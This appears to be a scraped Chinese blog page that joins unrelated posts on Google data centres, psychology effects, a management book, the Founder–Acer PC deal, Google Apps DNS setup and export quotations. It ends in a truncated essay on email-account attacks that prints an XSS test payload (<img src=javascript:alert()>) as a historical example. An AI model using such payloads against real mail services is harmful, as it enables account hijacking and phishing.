正文开始，原文发表于伯乐在线，注：文章有翻页，按钮在左下角。

　　Google数据中心一直是业界中令人着迷的“对象”之一。Google这个搜索巨人很少暴露其数据中心，那么Google到底有多少数据中心？它们分布在什么地方？笔者整理收集一些有趣信息，以供分享和参考。

　　Google数据中心分布图

　　Google 搜索速度为什么能这么快？这主要因为Google在全球分布着众多的数据中心。根据现有信息，如果包括在建的数据中心，Google共有36个数据中心。其中美国有19个、欧洲12个、俄罗斯1个、南美1个和亚洲3个（北京-Google.cn、香港-Google.com.hk和东京各1个）。不过，Google也并非完全独享这些数据中心，他们也向其他公司出租空间。

Google数据中心-全球

Google数据中心-北美

相关文章

• 2009.10.30 Google PR再次更新( 14 )
• 网上盛传的女软件工程师征友PPT欣赏和下载( 5 )
• 百度图片“顶风”涉黄 惊现低俗漫画( 7 )
• 想做飞行员？先看《波音747中文操作手册》( 25 )
• Google中文搜索退出中国，其他服务仍能访问( 15 )
• google PR 6.24再次更新( 5 )
• Google PR如期更新( 34 )
• 匿名聊天网站omegle风靡全球 博主亲身体验( 12 )

1、鸟笼逻辑

　　挂一个漂亮的鸟笼在房间里最显眼的地方，过不了几天，主人一定会做出下面两个选择之一：把鸟笼扔掉，或者买一只鸟回来放在鸟笼里。这就是鸟笼逻辑。过程很简单，设想你是这房间的主人，只要有人走进房间，看到鸟笼，就会忍不住问你：“鸟呢？是不是死了？”当你回答：“我从来都没有养过鸟。”人们会问：“那么，你要一个鸟笼干什么？”最后你不得不在两个选择中二选一，因为这比无休止的解释要容易得多。鸟笼逻辑的原因很简单：人们绝大部分的时候是采取惯性思维。所以可见在生活和工作中培养逻辑思维是多么重要。

2、破窗效应

　　心理学的研究上有个现象叫做“破窗效应”，就是说，一个房子如果窗户破了，没有人去修补，隔不久，其它的窗户也会莫名其妙的被人打破； 一面墙，如果出现一些涂鸦没有清洗掉，很快的，墙上就布满了乱七八糟，不堪入目的东西。一个很干净的地方，人会不好意思丢垃圾，但是一旦地上有垃圾出现之后，人就会毫不犹疑的拋，丝毫不觉羞愧。这真是很奇怪的现象。
　　心理学家研究的就是这个“引爆点”，地上究竟要有多脏， 人们才会觉得反正这么脏，再脏一点无所谓，情况究竟要坏到什么程度，人们才会自暴自弃，让它烂到底。
　　任何坏事，如果在开始时没有阻拦掉，形成风气，改也改不掉，就好象河堤，一个小缺口没有及时修补，可以崩坝，造成千百万倍的损失。

3、责任分散效应
　　1964年3月13日夜3时20分，在美国纽约郊外某公寓前，一位叫朱诺比白的年轻女子在结束酒巴间工作回家的路上遇刺。当她绝望地喊叫：“有人要杀人啦!救命!救命!”听到喊叫声，附近住户亮起了灯，打开了窗户，凶手吓跑了。当一切恢复平静后，凶手又返回作案。当她又叫喊时，附近的住户又打开了电灯，凶手又逃跑了。当她认为已经无事，回到自己家上楼时，凶手又一次出现在她面前，将她杀死在楼梯上。在这个过程中，尽管她大声呼救，她的邻居中至少有38位到窗前观看，但无一人来救她，甚至无一人打电话报警。这件事引起纽约社会的轰动，也引起了社会心理学工作者的重视和思考。人们把这种众多的旁观者见死不救的现象称为责任分散效应。
　　对于责任分散效应形成的原因，心理学家进行了大量的实验和调查，结果发现：这种现象不能仅仅说是众人的冷酷无情，或道德日益沦丧的表现。因为在不同的场合，人们的援助行为确实是不同的。当一个人遇到紧急情境时，如果只有他一个人能提供帮助，他会清醒地意识到自己的责任，对受难者给予帮助。如果他见死不救会产生罪恶感、内疚感，这需要付出很高的心理代价。而如果有许多人在场的话，帮助求助者的责任就由大家来分担，造成责任分散，每个人分担的责任很少，旁观者甚至可能连他自己的那一份责任也意识不到，从而产生一种“我不去救，由别人去救”的心理，造成“集体冷漠”的局面。如何打破这种局面，这是心理学家正在研究的一个重要课题。

4、帕金森定律
　　英国著名历史学家诺斯古德·帕金森通过长期调查研究，写出一本名叫《帕金森定律》的书。他在书中阐述了机构人员膨胀的原因及后果：一个不称职的官员，可能有三条出路，第一是申请退职，把位子让给能干的人；第二是让一位能干的人来协助自己工作；第三是任用两个水平比自己更低的人当助手。这第一条路是万万走不得的，因为那样会丧失许多权利；第二条路也不能走，因为那个能干的人会成为自己的对手；看来只有第三条路最适宜。于是，两个平庸的助手分担了他的工作，他自己则高高在上发号施令，他们不会对自己的权利构成威胁。两个助手既然无能，他们就上行下效，再为自己找两个更加无能的助手。如此类推，就形成了一个机构臃肿，人浮于事，相互扯皮，效率低下的领导体系。

5、晕轮效应
　　著名的大文豪普希金曾因晕轮效应的作用吃了大苦头。他狂热地爱上了被称为“莫斯科第一美人”的娜坦丽，并且和她结了婚。娜坦丽容貌惊人，但与普希金志不同道不合。当普希金每次把写好的诗读给她听时。她总是捂着耳朵说：“不要听！不要听！”相反，她总是要普希金陪她游乐，出席一些豪华的晚会、舞会，普希金为此丢下创作，弄得债台高筑，最后还为她决斗而死，使一颗文学巨星过早地陨落。在普希金看来，一个漂亮的女人也必然有非凡的智慧和高贵的品格，然而事实并非如此，这种现象被称为晕轮效应。
　　所谓晕轮效应，就是在人际交往中，人身上表现出的某一方面的特征，掩盖了其他特征，从而造成人际认知的障碍。在日常生活中，“晕轮效应”往往在悄悄地影响着我们对别人的认知和评价。比如有的老年人对青年人的个别缺点，或衣着打扮、生活习惯看不顺眼，就认为他们一定没出息；有的青年人由于倾慕朋友的某一可爱之处，就会把他看得处处可爱，真所谓“一俊遮百丑”。晕轮效应是一种以偏概全的主观心理臆测，其错误在于：第一，它容易抓住事物的个别特征，习惯以个别推及一般，就像盲人摸象一样，以点代面；第二，它把并无内在联系的一些个性或外貌特征联系在一起，断言有这种特征必然会有另一种特征；第三，它说好就全都肯定，说坏就全部否定，这是一种受主观偏见支配的绝对化倾向。总之，晕轮效应是人际交往中对人的心理影响很大的认知障碍，我们在交往中要尽量地避免和克服晕轮效应的副作用。

6、霍桑效应（Hawthorne effect）
　　心理学上的一种实验者效应。20世纪20-30年代，美国研究人员在芝加哥西方电力公司霍桑工厂进行的工作条件、社会因素和生产效益关系实验中发现了实验者效应，称霍桑效应。
　　实验的第一阶段是从1924年11月开始的工作条件和生产效益的关系，设为实验组和控制组。结果不管增加或控制照明度，实验组产量都上升，而且照明度不变的控制组产量也增加。另外，有试验了工资报酬、工间休息时间、每日工作长度和每周工作天数等因素，也看不出这些工作条件对生产效益有何直接影响。第二阶段的试验是由美国哈佛大学教授梅奥领导的，着重研究社会因素与生产效率的关系，结果发现生产效率的提高主要是由于被实验者在精神方面发生了巨大的变化。参加试验的工人被置于专门的实验室并由研究人员领导，其社会状况发生了变化，受到各方面的关注，从而形成了参与试验的感觉，觉得自己是公司中重要的一部分，从而使工人从社会角度方面被激励，促进产量上升。
　　这个效应告诉我们，当同学或自己受到公众的关注或注视时，学习和交往的效率就会大大增加。因此，我们在日常生活中要学会与他人友好相处，明白什么样的行为才是同学和老师所接受和赞赏的，我们只有在生活和学习中不断地增加自己的良好行为，才可能受到更多人的关注和赞赏，也才可能让我们的学习不断进步，充满自信！

7、习得性无助实验
　　习得性无助效应最早有奥弗米尔和西里格曼发现，后来在动物和人类研究中被广泛探讨。简单地说，很多实验表明，经过训练，狗可以越过屏障或从事其他的行为来逃避实验者加于它的电击。但是，如果狗以前受到不可预期（不知道什么时候到来）且不可控制的电击（如电击的中断与否不依赖于狗的行为），当狗后来有机会逃离电击时，他们也变得无力逃离。而且，狗还表现出其他方面的缺陷，如感到沮丧和压抑，主动性降低等等。
　　狗之所以表现出这种状况，是由于在实验的早期学到了一种无助感。也就是说，它们认识到自己无论做什么都不能控制电击的终止。在每次实验中，电击终止都是在实验者掌控之下的，而狗会认识到自己没有能力改变这种外界的控制，从而学到了一种无助感。
　　人如果产生了习得性无助，就成为了一种深深的绝望和悲哀。因此，我们在学习和生活中应把自己的眼光在开阔一点，看到事件背后的真正的决定因素，不要使我们自己陷入绝望。

8、证人的记忆
　　证人，在我们的认识里，通常都是提供一些客观的证据的人，就是把自己亲眼看到、亲耳听到的东西如实地讲出来的人。然而，心理学研究证明，很多证人提供的证词都不太准确，或者说是具有个人倾向性，带着个人的观点和意识。
　　证人对他们的证词的信心并不能决定他们证词的准确性，这一研究结果令人感到惊讶。心理学家珀费可特和豪林斯决定对这一结论进行更深入的研究。为了考察证人的证词是否有特别的东西，他们将证人的记忆与对一般知识的记忆进行了比较。
　　他们让被试看一个简短的录象，是关于一个女孩被绑架的案件。第二天，让被试回答一些有关录象里内容的问题，并要求他们说出对自己回答的信心程度，然后做再认记忆测验。接下来，使用同样的方法，内容是从百科全书和通俗读物中选出的一般知识问题。
　　和以前发生的一样，珀费可特和豪林斯也发现，在证人回忆的精确性上，那些对自己的回答信心十足的人实际上并不比那些没信心的人更高明，但对于一般知识来说，情况就不是这样，信心高的人回忆成绩比信心不足的人好得多。
　　人们对于自己在一般知识上的优势与弱势有自知之明。因此，倾向于修改他们对于信心量表的测验结果。一般知识是一个数据库，在个体之间是共享的，它有公认的正确答案，被试可以自己去衡量。例如，人们会知道自己在体育问题上是否比别人更好或更差一点。但是，目击的事件不受这种自知之明的影响。例如，从总体上讲，他们不大可能知道自己比别人在记忆事件中的参与者头发颜色方面更好或更差。

9、罗森塔尔效应
　　美国心理学家罗森塔尔等人于1968年做过一个著名实验。他们到一所小学，在一至六年级各选三个班的儿童进行煞有介事的“预测未来发展的测验”，然后实验者将认为有“优异发展可能”的学生名单通知教师。其实，这个名单并不是根据测验结果确定的，而是随机抽取的。它是以“权威性的谎言”暗示教师，从而调动了教师对名单上的学生的某种期待心理。8个月后，再次智能测验的结果发现，名单上的学生的成绩普遍提高，教师也给了他们良好的品行评语。
　　这个实验取得了奇迹般的效果，人们把这种通过教师对学生心理的潜移默化的影响，从而使学生取得教师所期望的进步的现象，称为“罗森塔尔效应”，习惯上也称为皮格马利翁效应（皮格马利翁是古希腊神话中塞浦路斯国王，他对一尊少女塑像产生爱慕之情，他的热望最终使这尊雕像变为一个真人，两人相爱结合）。
　　教育实践也表明：如果教师喜爱某些学生，对他们会抱有较高期望，经过一段时间，学生感受到教师的关怀、爱护和鼓励；常常以积极态度对待老师、对待学习以及对待自己的行为，学生更加自尊、自信、自爱、自强，诱发出一种积极向上的激情，这些学生常常会取得老师所期望的进步。相反，那些受到老师忽视、歧视的学生，久而久之会从教师的言谈、举止、表情中感受到教师的“偏心”，也会以消极的态度对待老师、对待自己的学习，不理会或拒绝听从老师的要求；这些学生常常会一天天变坏，最后沦为社会的不良分子。尽管有些例外，但大趋势却是如此，同时这也给教师敲响了警钟。

10、虚假同感偏差（false consensus bias）
　　我们通常都会相信，我们的爱好与大多数人是一样的。如果你喜欢玩电脑游戏，那么就有可能高估喜欢电脑游戏的人数。你也通常会高估给自己喜欢的同学投票的人数，高估自己在群体中的威信与领导能力等等。你的这种高估与你的行为及态度有相同特点的人数的倾向性就叫做“虚假同感偏差”。
　　有些因素会影响你的这种虚假同感偏差强度：
（1）当外部的归因强于内部归因时；
（2）当前的行为或事件对某人非常重要时；
（3）当你对自己的观点非常确定或坚信时；
（4）当你的地位或正常生活和学习受到某种威胁时；
（5）当涉及到某种积极的品质或个性时；
（6）当你将其他人看成与自己是相似时。

相关文章

• 2009《中国骄傲》中感人至深的爱情故事( 16 )
• 网上盛传的女软件工程师征友PPT欣赏和下载( 5 )
• 女人的提问，男人应该这样答( 3 )
• 春夜随笔( 9 )

       今天秋天给大家带来一本国学管理代表人曾仕强先生的著作，他曾在CCAV的《百家讲坛》栏目中做过《胡雪岩的启示》演讲，各观众小盆友中或有人知悉。

       曾仕强其人

       中国式管理大师，全球华人中国式管理第一人，台湾兴国管理学院校长、英国牛津大学管理哲学荣誉博士、英国莱斯特大学管理哲学博士、美国杜鲁门大学行政管理硕士、国立台湾师范大学教育学学士；专研中、美、日管理比较；易经在管理上的应用；中、西管理思想比较；人际关系与沟通；中国人的民族性与管理；人伦关系与企业伦理；著有《中国管理哲学》、《二十一世纪易经管理法》、《胡雪岩成功秘笈》等百种管理著作。 
       现任国立交通大学教授,中国统一建设促进会理事长,人力资源发展学会常务理事,国际管理基础会董事,美国东西方大学管理学教授 。

       主要研究和倡导在中国文化&价值观取向下的企业管理与人际沟通方式，与其他西方管理理念学者最大不同在于中华特色。

       内容简介

       人与人之间的关系是世上最复杂的东两，而中国人之问的关系更加微妙。一方面，中国人认为“在家靠父母，出外靠朋友”，靠不靠得住，就看关系如何。另一方面，中国人又希望凡事凭本事，而讨厌“拉关系”的行为。殊不知，一个毫无能力的人，是无法依靠人际关系而成功的。但是，缺乏良好的人际关系，能力再强，也无法顺利地获得成功。 
       中西方人际关系最大的不同是，西方人之间形成的是人际关系，中国人之间形成的是人伦关系。中国人根本没有什么“人际关系”，如果把西方的人际关系移植过来，只会弄得大家的关系越来越紧张。 
       本书以人伦关系为出发点，主要讲述如何处理工作关系和家庭关系这两大难题。工作关系是中国式管理的核心，工作关系搞不好，则事业很难发展。家庭关系是每个人一生的课题，人一出生，便陷入层层关系网。只有家庭事业双丰收，才算真正的成功。要想解决好这两大难题，只需要掌握通俗易懂的十个要领即可，这十个要领内涵丰富，缺一不可，只要合理应用，则无往不利。
       中国人十分重视如何做人，只有好好做人，才能好好做事。本书所讲的处理人际关系的要领，在西方不一定行得通，但在中国相当有效。

       图书目录

　　第一章　首先要了解中国人的特言——模棱两可，言不由衷
　　听话不如“看”话
　　“随便”并不随便
　　不反对并非赞成
　　行——谨慎小心，反求诸己
　　先弄清对方是谁
　　小心才不会上当
　　凡事都追求合理
　　心——追求圆通，善于自保
　　圆通而不圆滑
　　遇事先求自保
　　性——爱占便宜，死要面子
　　就怕吃亏上当
　　只爱占小便宜
　　自私又爱面子

　　第二章　建立人际关系的基本准则
　　正视自己
　　确定自己要做什么样的人
　　处理好自己和自己的关系
　　以实实在在为做人的准则
　　善待他人
　　待人需要诚心
　　待人需要友善
　　待人需要礼貌
　　待人需有差别
　　三大禁忌

　　第三章　十大要领是人际关系的催化剂
　　一表人才
　　不要以貌取人
　　提升第一印象
　　正确认识自己
　　两套西装
　　外在表现与内在表现同样重要
　　人的外表应符合社会文化背景
　　三杯酒量
　　爱好并非是坏事
　　凡事要适可而止
　　酒桌交际的技巧
　　四圈麻将
　　赢到后来总是输
　　人际关系要经营
　　五方交游
　　多个朋友多条路
　　严于律己获益多
　　六出祁山
　　明知不可为而为之
　　朋友之间可以通财
　　七术打马
　　多说恭维话
　　少去讨好人
　　八口吹牛
　　要自己肯定自己
　　让别人来赞扬你
　　九分努力
　　努力没有用
　　运气很重要
　　十分忍耐
　　会忍才能赢
　　欲速则不达

　　第四章　良好沟通是人际关系的润滑剂
　　沟通的作用
　　沟通的现象
　　先说先死
　　不说也死
　　说到不死
　　沟通的艺术
　　使对方听得进去
　　要学会察言观色
　　站在对方的立场
　　沟通的层次
　　不沟不通
　　沟而不通
　　沟而能通
　　不沟而通
　　沟通的原则
　　沟通的方向
　　向上沟通
　　向下沟通
　　平行沟通

　　第五章　如何处理内部工作关系
　　老板如何处理人际关系
　　老板对自己要严格要求
　　老板对干部要恩威并施
　　老板对员工要关怀照顾
　　干部如何处理人际关系
　　不要不三不四
　　建立主伴关系
　　要让老板放心
　　要让员工舒心
　　要让平级安心
　　员工如何处理人际关系
　　成为受欢迎的员工
　　学会如何应对上司
　　要和同事和平相处

　　第六章　如何处理外部工作关系
　　老板的个人公关
　　注意自身的形象
　　构建互惠的网络
　　凡事以义气为重
　　企业的分工合作
　　合并不如合作
　　分工为了合作
　　委曲才能求全
　　安顾客为了生存
　　了解顾客的需要
　　和顾客搞好关系
　　保持定期的接触
　　安社会为了发展
　　善尽责任带来良好印象
　　为社会增加就业的机会
　　在社区营造良好的风气

　　第七章　家庭关系是终生学习的必修课
　　重视家庭
　　成家是生命意义的传承
　　家人是生活幸福的源泉
　　子女是成家立业的动力
　　夫妻和谐
　　夫妻关系是家庭关系的基础
　　夫妻和睦是教养子女的良方
　　孝敬长辈
　　孝是传统美德
　　顺并不等于孝
　　敬是孝的根本
　　适时回报父母
　　心中牢记父母
　　教养子女
　　亲子关系其实是教养关系
　　教养子女从改变观念开始
　　父母是亲子关系的主导者
　　教育子女要从其立场出发
　　养育子女别追求物质奢华

　　曾仕强《圆通的人际关系》PDF版下载地址

==================我是清爽的分割线|正文结束==================

        写在最后：江苏连续多日的高温前几日刚刚在一场场暴雨中褪去，就立马卷土重来，气温在探底之后一路连续反弹，有望在本周再度冲上39度高位。

       天子脚下亦不太平，昨日女友与同学在圆明园游玩拍照时一不留神电话和钱包成为了梁上君子的囊中物，所幸人无恙。

相关文章

• 网站站长的22条军规( 6 )
• 学历门-唐骏“西太平大学”博士文凭之真伪( 31 )
• 安心工作的妙招( 31 )
• 郭台铭的《四个如果》( 19 )
• 80后勇闯职场必须掌握的八大原则（Smart-司马他法则）( 10 )
• 职场小说《杜拉拉升职记》完整版下载( 25 )
• 《细节决定成败》电子书下载( 14 )
• 央视王利芬：从主持创业节目到践行自主创业( 10 )

       秋天在此感谢这些站长/博主曾经对本站的支持与帮助，同时希望以后可以有更好的发展。

放松一下 –《猫蛇大战》，猜猜最后谁是赢家。

相关文章

• Baidu is back( 2 )
• Google PR如期更新( 34 )
• 更新DMOZ收录链接步骤( 28 )
• 博客换新皮，采用新的评论&留言回复方式( 20 )
• 链接整理公告( 5 )
• cnbeta文章投递成功经历( 6 )
• PJblog页面标题优化，全局字体放大，添加文章在线翻译功能( 1 )
• 第二次链接整理公告( 13 )

　　且看媒体报道。

　　新闻来源：北京商报；秋天注：文中多处“国产PC品牌”应作“大陆PC品牌”，为保留新闻完整性不作修改。

　　方正与宏碁纠缠不清的关系终于尘埃落定。昨日,方正科技(600601)与宏碁正式披露了双方的合作细节:方正科技PC业务全面移交给宏碁运营。对此,有分析人士认为,此次方正从一个PC品牌的运营商转为一个代理商的角色,预示着国产PC品牌正面临全面溃败。

　　方正PC业务移交宏碁

　　根据合作细节公告,宏碁从方正得到的权益主要是方正PC品牌、渠道和团队等几方面。

　　方正方面将向宏碁转让PC产品的全部品牌和其他知识产权,宏碁公司全面开展方正品牌PC产品的运营。方正科技成为宏碁公司的内地合作伙伴,开展委托生产、经销、代理和售后服务。除了PC业务外,宏碁还得到5英寸以上电(600627)子书产品、MID、相应搭载和应用软件的许可商标普通许可。渠道方面,宏碁将以协定服务费收费模式获得方正科技经销商,宏碁还将获得方正科技渠道的管理权。

　　方正科技总裁蓝烨将以Founder PC品牌事业单位总经理的重要身份加盟宏碁。此外,方正科技包括销售、设计、市场等多个部门的700多人将加入宏碁中国,占到总数近四成。

　　根据协议,方正科技所留下的业务包括主要利润来源PCB（印制电路板）业务、部分电子书等数码产品业务以及大客户政府级PC业务。

　　宏碁得到更大好处

　　占领中国市场,一直是各大电脑厂商的梦想。特别是立足本地的国产PC,当然不会甘于人后。但一直以来,方正等企业只能排在联想之后,随着惠普、戴尔、索尼等国际巨头越来越重视中国市场,方正们的日子并不好过。无独有偶,尽管宏碁已经成为全球第二大个人电脑品牌,在全球范围内攻城略地,但在内地市场一直未能找到较好的突破口。

　　据市场研究机构Gartner的数据显示,2010年第一季度,联想PC（包括台式机和笔记本电脑）以23.8%的市场份额排名内地第一。惠普市场份额为10.1%,排在第二位。排在第三位的是戴尔,市场份额为7.9%。方正、宏碁则分别为6.2%、3.2%。

　　但根据协议,方正正选择逐步放弃PC生产商的身份,心甘情愿地做起了宏碁内地市场最大的“代工企业和经销商”。宏碁找到了发力内地市场的跳板,对方正而言更像是一种“引狼入室”。

　　无怪乎,Gartner分析师叶磊认为,此次合作,宏碁得到的好处要远远大于方正。宏碁借此掌握了方正多年经营的三四线市场渠道和针对政府、教育部门方面的独到优势。“对内地市场的区域覆盖一直是宏碁无法力拓内地市场的最大困难,现在它找到了突破口。”在叶磊看来,方正为他人做了嫁衣。而根据方正近年的投资动向,方正对PC业务确实心存“弃意”,尽管现在是合作的形式,不排除以后宏碁直接收购方正PC业务的可能。

　　国产PC均陷低利润困局

　　这不是一家企业的事,方正PC业务转手宏碁已经触痛国产PC行业的内心深处。叶磊告诉记者:“这是中国国产PC品牌的大败退。”

　　有业内人士认为,在这场大败退中,联想是惟一的例外。原因在于,联想早早地做出并执行了国际化战略——做大做强。

　　叶磊对这种看法表示赞同。他认为,PC行业有个特性:要想生存下去,必须做大做强。行业发展初期会有很多小品牌存在,但市场发展到成熟阶段不可能给小企业留下生存空间。他举例称,欧美以前也有许多小的PC厂商,但最终留下来并控制市场只有现在的那么几家。“联想就是因为较早确定了国际化定位,并收购了IBM的PC业务,才避免了如今国产PC的尴尬局面。”

　　除了联想外,其他国内PC厂商的经营压力都在增大。此前,七喜高层就曾向媒体控诉国产PC低利润现状。而方正科技2009年PC收入虽然增长6%,但利润率只有4.99%。长城、同方等PC业务也在减少,利润率继续走低。

　　有分析人士透露,多年以前曾与方正的管理层探讨过方正PC业务的发展思路,“但方正一直没有明确做大做强的定位”。如今的无奈局面仿佛早已注定,该人士强调,这并不是方正一家企业面临的问题,其实其他国产PC厂商也正面临抉择。巨头压境并不断加深本土化运作,国产PC企业在技术研发、经销渠道各个领域难以再有议价能力。“无法寻觅到成长机会,它们未来只能采取被并购或者方正这类合作转型的方式体面离开。”

相关文章

• 富士通终止与TDK合作 彻底退出硬盘业( 0 )
• 当品牌售后遭遇山寨( 1 )
• 黑莓正式进入中国市场，个人用户可选购( 15 )
• 猛料，Dell（戴尔）Windows7 升级计划免费申请漏洞( 48 )
• 诺基亚推出首款采用Windows系统的笔记本电脑( 7 )
• 金士顿全球首款256GB U盘天价发售( 13 )
• 郭台铭的《四个如果》( 19 )
• 央视王利芬：从主持创业节目到践行自主创业( 10 )

        如果自己拥有独立域名并将Google Apps与自己的域名绑定，可以在支持的服务中启用使用自定义域名，例如秋天博客的完整域名www.cfresh.net在与Google Apps中的企业邮局（E-mail服务）绑定后，可以使用mail.cfresh.net进行访问。而常规的配置方法是首先在域名控制面板中添加一个自定义域名的CNAME记录指向Google ghs服务器，例如mail.cfresh.net –> ghs.google.com，然后再添加邮件MX记录。其中CNAME记录是为了完成自定义域名到Google Apps服务的解析，而邮件MX记录则是为了完成邮件传送到Gmail邮箱。

        事实上，ghs.google.com服务器早已被疏离于天朝衙门的巍峨长城之外，目前网上有一些替代性的解决办法，例如使用第三方服务器来替代ghs.google.com完成解析。出于安全等各方面因素考虑秋天一直没有使用这种方法，直到前几天偶然发现Google官方还提供另外一种解析方式：A记录。
        操作非常简单，删除所有的Google Apps服务对应自定义域名CNAME记录，给自定义域名添加A记录，可用指向IP如下：

216.239.32.21
216.239.34.21
216.239.36.21
216.239.38.21

        各位可以在经过自己的ping实验之后有选择性的添加，秋天这里ping 216.239.36.21全部超时，就只添加了其它三个。
        可以将所有需要的服务自定义域名A记录都指向这些IP，秋天目前启用了其中的邮局和短网址自定义域名服务，以下为在Godaddy下的A记录截图。

        注：域名的MX记录保持不变，Google官方给出的MX记录及参考优先级顺序（帮助中心文章）：

优先级     邮件服务器
1               ASPMX.L.GOOGLE.COM
5               ALT1.ASPMX.L.GOOGLE.COM
5               ALT2.ASPMX.L.GOOGLE.COM
10             ASPMX2.GOOGLEMAIL.COM
10             ASPMX3.GOOGLEMAIL.COM

        文末：近几日正值高温酷暑，又闻武汉已从全国三大火炉中除名，全球变暖应该会让全国火炉榜越来越热闹吧。
       希望大家在今日减少外出，多喝水；有条件的小盆友可以煮一份绿豆汤，解暑功效明显。

相关文章

• Google Chrome OS截图面世( 3 )
• 工信部将采取五项措施规范国内域名注册( 20 )
• 网站地图(sitemap)简介，制作与提交( 2 )
• 网易163重推免费域名邮箱服务( 12 )
• 微软Office与Google文档的完美协作( 14 )
• Google中文搜索退出中国，其他服务仍能访问( 15 )
• 图片揭秘Google数据中心( 31 )
• 全球最贵10域名排名及历史　Sex.com居首位( 12 )

       很多人抱怨自己邮件发了，报价方案做了，但对方就是不理不睬。除了价格等客观因素，仔细分析一下自己的邮件内容和报价同样是非常必要的。

As a sourcing agent and buyer I can tell you what is a good quotation for me: it includes all relevant information! My job is to find a reliable supplier at a reasonable price in the shortest time possible.

It is very possible that I will choose a supplier whose price is a few percent higher but the quotation is complete. That means, it includes:  – FOB (!!!) price, with seaport marked! (I often get FOB quotes without location. Obviously for me in Europe a FOB Shanghai price is higher than a FOB Xiamen price, since shipping rates are different).

- delivery time (so far no Chinese supplier was able to keep the promised delivery time for my projects – 90% delay, 10% early)
- package unit (carton details)!!! Carton weight, size, volume, content, material. It is very important!!! Usually this point is simply left out by suppliers. But I – and most full-time buyers – have just simply no time to beg for any details separately!!! If a quotation misses this, I simply delete it. I have no time to ask for these points, but I can only calculate my shipping cost with this info!!!
- payment conditions must be exactly discussed.

I hope suppliers will consider these points in the future. If you include all relevant information, you can really help your partner in his decision. And for the supplier, it is a job done once, you needn’t work out each detail separately.

       可见职业买家非常看重一份报价的完整性，除了要有常规的产品规格、描述和价格外，还需要包括港口和贸易条款、交货期、包装细节、付款方式等细节。信息一次到位方有进入买家视野的可能，否则有可能只是顺手一点的功夫，你辛辛苦苦做的方案和写的邮件就付诸垃圾箱了。

         近况：为了早日实现自己的小小理想，在不懈努力工作中，此刻自愿加班中。希望各位兄弟一切都好。

        轻松片刻，昨天在看《三联生活周刊》时发现一张插图，看了让人忍俊不禁，今天特意在网上找了一下。

        实际上是佳能摄影大赛的一副参赛入围照片，标题为《妈妈，我再也不淘气了》。
        拍摄背景：图片作者（父亲）带着孩子外出游玩，遇母子三猴，其中一小猴几次想投入母猴的怀中，但都被推开。
        孩童问父亲：为什么另外一只小猴子不在妈妈的怀抱里？
        父亲答曰：因为那只小猴太淘气了，妈妈这样做是为了让它以后听话。
        孩童：我要爸爸抱，我没有淘气。

相关文章

• 浅谈如何避免自己发出的邮件被误判为垃圾邮件( 22 )
• 各国信用证条款特点和差异分析（五）( 0 )
• 信用证货描过长处理办法( 9 )
• 各国信用证条款特点和差异分析（二）( 0 )
• 世界各国常见公司名称英文缩写列举与释义( 18 )
• 各国信用证条款特点和差异分析（一）( 2 )
• 海关总署33号令实施–出口货样/广告品或将征税( 12 )
• 各国信用证条款特点和差异分析（六）( 0 )

===========================我是性感的分割线===========================

       如果说中国走在网络战争的前沿，你可能觉得胡扯。发动网络战争并不复杂，一般有三种类型：攻击基础设施、窃取机密数据、瘫痪网络服务。而本文，将重点谈及中国窃取机密数据的邮箱情报攻击，几乎从来没有哪个国家能像中国因维稳不惜任何代价而秘密地监听国内外的敏感人士。

       对于电子邮箱攻击，你注意到国外媒体批露的中国攻击事件与日俱增，如本月9号，纽约时报记者声称他们的邮箱被攻击，而Twitter上的敏感人士开始越来越多的抱怨。你可能会质疑，有何事实数据可证明他们的邮箱确被攻击？这是一个好问题，因为他们无法跟踪攻击来源与防御被攻击，那么，常见的攻击手法是怎样的？我们如何跟踪攻击来源？又如何防御邮箱间谍的攻击？

一、你是局外人，还是受害者？

       1月，Google向中国提出没有审查机制的G.cn，并声称有人试图入侵中国维权人士的Gmail，14日，McAfee就IE 0day的分析，将此次大规模的窃取机密数据（知识产权）攻击称为极光行动。尽管Google事件余波已去，我想说的是：极光行动为什么没有攻击国内邮箱？——显然！国内的邮箱具有过滤审查机制，这可以解释你的邮箱为何会丢信，更重要的是，一纸红头文件可未经用户许可泄露邮件数据，若有不从，以涉黄之名拔网线威胁。

       普通的用户会这样认为：我不是敏感人士，我不会遭到电邮攻击。这样的想法很美好，让我们谈谈”话语权“吧。在三皇五帝的古代，骂皇帝是要砍头，而40年代末的建国期，是红色的革命语，时间回溯现在的极权主义国家，一切已然不一样了，尽管今天的新闻媒体仍在中宣部的约束之下，但互联网是一次革命，这个开放的网络空间，人人都是媒体，可在Twitter报导新闻，可用Wordpress发出声音，意识形态的大军是无法击溃互联网。

       你会不会遭到电邮攻击？与你是不是敏感人士无关，而是视乎你在网络空间的声音、行为，以及现实生活中身份有关系。也不能说所有的电邮攻击都与政府脱不了干系，更有那些充满好奇心、乐于恶作剧的骇客。

二、攻击手法

       你的Yahoo邮箱没有点击任何链接，但攻击者无需密码便控制住你的邮箱，这是什么回事？你的Gmail密码相当复杂，但为何收到密码重置的邮件？你登陆网易邮箱，点开邮件即重定向登陆入口，但网址却是真实的，这是为何？最后，来自国外越来越多的电邮失窃的新闻越来越多，你仍质疑中国没有能力侵入他国政要邮箱账户？

1、XSS钓鱼

       这种攻击仍是目前最行之有效的方法，除了Gmail目前不存在XSS漏洞外，其它的Yahoo、Hotmail、网易、腾讯、搜狐、新浪等都存在XSS漏洞。XSS漏洞是啥？它的全称是Cross-site scripting，即跨站攻击，存在此漏洞的网站，能够被恶意攻击者劫持，它还派生了XSRF等等形式的利用，可谓Web木马。

       08年，国内的邮箱都存在HTML标签跨站，漏洞都很弱智，比如<img src=javascript:alert()>插在邮件标题、邮件内容、邮件附件处即可弹出一个可爱的alert。接下来，进步一点了，还是以HTML标签为主，搞个数据包工具看哪个变量没过滤、以及编码转换。09年，又升级了，主要是国外的邮箱Gmail、Yahoo、Hotmail改以语法过滤，能利用的是CSS标签跨站，Gmail非常狠，除了早期存在Google Docs附件跨站攻击，基本把恶意代码过滤得惨不忍睹。Yahoo在09年亦漏洞不断，但很负责，隔三差五地不断升级，而Hotmail令人失望，居然1day过了一年都不补。

       腾讯圈了一批牛人，忘记是Ph4nt0m还是80sec的，比其它的网易、搜狐、新浪的邮箱安全性好一点，搜狐与新浪最烂，透露一下，它们其中一个仍存在字符集的跨站漏洞。那么，XSS攻击到底是怎样的形式呢？用一个08年截获的新浪的HTML标签XSS漏洞说明，此漏洞是失效了，这年头基本没人直接公开0day，都养家糊口来着。

